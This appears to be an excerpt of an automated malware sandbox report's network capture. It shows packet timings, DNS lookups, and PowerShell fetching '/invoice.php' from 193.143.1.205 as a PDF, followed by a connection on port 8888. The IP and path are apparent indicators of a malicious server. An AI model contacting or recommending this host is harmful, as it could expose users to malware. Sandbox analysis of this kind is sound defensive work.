Jan 11, 2025 06:37:45.643081903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643096924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643121004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643121958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643138885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643153906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643161058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643171072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643186092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643193007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643202066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643218994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643223047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643256903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643568993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643584967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643601894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643616915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643620968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643631935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643649101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643656969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643673897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643688917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643696070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643713951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643728971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.643734932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643762112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.655049086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655071020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655086994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655102015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655116081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655129910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655142069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.655147076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655173063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.655945063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655960083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655976057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655992031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.655994892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.656014919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.667006016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694430113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694453001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694478989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694495916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694505930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694511890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694531918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694536924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694550991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694555998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694569111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694581985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694585085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694607973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694623947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694629908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694638968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694653034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694654942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694708109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694736004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694751024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694766045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694782972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694931984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694952011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694967031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.694973946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.694982052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695005894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695058107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695072889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695087910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695099115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695121050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695127964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695142031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695158005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695173025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695178032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695207119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695210934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695226908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695256948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695487976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695502996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695518017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695538998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695560932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695574999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695590973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695596933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695607901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695621967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695622921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695637941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695658922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695743084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695756912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695771933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695777893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695787907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695804119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695807934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695821047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695842028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695878029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695893049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695908070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695918083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695921898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695939064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.695941925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.695971012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.696378946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696393967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696408987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696429014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.696434975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696450949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696465969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696469069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.696482897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.696502924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.709361076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.732884884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.732960939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.732999086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733000040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733036041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733052015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733087063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733119011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733122110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733153105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733185053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733201981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733236074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733273029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733287096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733320951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733352900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733359098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733402967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733436108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733437061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733469963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733510017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733515978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733542919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733576059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733577013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733609915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733642101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733645916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733679056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733711004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733711958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733779907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733813047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733815908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733846903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733877897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733884096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733911991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733944893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.733946085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.733980894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734019041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734019041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734070063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734102964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734103918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734138966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734170914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734177113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734205961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734237909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734246016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734272003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734303951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734303951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734337091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734369040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734370947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734402895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734435081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734436035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734468937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734500885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734500885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734534979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734568119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734569073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734600067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734632969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734633923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.734668016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734695911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.734700918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.740658998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.745702982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745743990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745774984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.745795012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745827913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745834112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.745862961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745894909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745898962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.745930910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.745975971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.766899109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.772361994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.785269976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785336971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785372972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785382986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.785406113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785439968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.785443068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785475969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785511017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785516024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.785547972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.785587072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.893294096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:46.787090063 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:46.792272091 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:46.792361975 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:46.792531967 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:46.797432899 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:47.578845978 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:47.624030113 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:47.664977074 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:38:00.021543026 CET	54278	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:38:13.512553930 CET	59972	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:38:25.839093924 CET	58895	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:38:00.021543026 CET	192.168.2.5	1.1.1.1	0xb7a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:38:13.512553930 CET	192.168.2.5	1.1.1.1	0x73aa	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:38:25.839093924 CET	192.168.2.5	1.1.1.1	0xf9a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 06:38:00.029194117 CET	1.1.1.1	192.168.2.5	0xb7a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:38:13.519464016 CET	1.1.1.1	192.168.2.5	0x73aa	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:38:25.846071005 CET	1.1.1.1	192.168.2.5	0xf9a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	3752	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:37:44.144735098 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:37:44.945869923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:37:44.945904970 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:37:44.945919991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:37:44.945956945 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:37:44.945971966 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:37:44.945997000 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
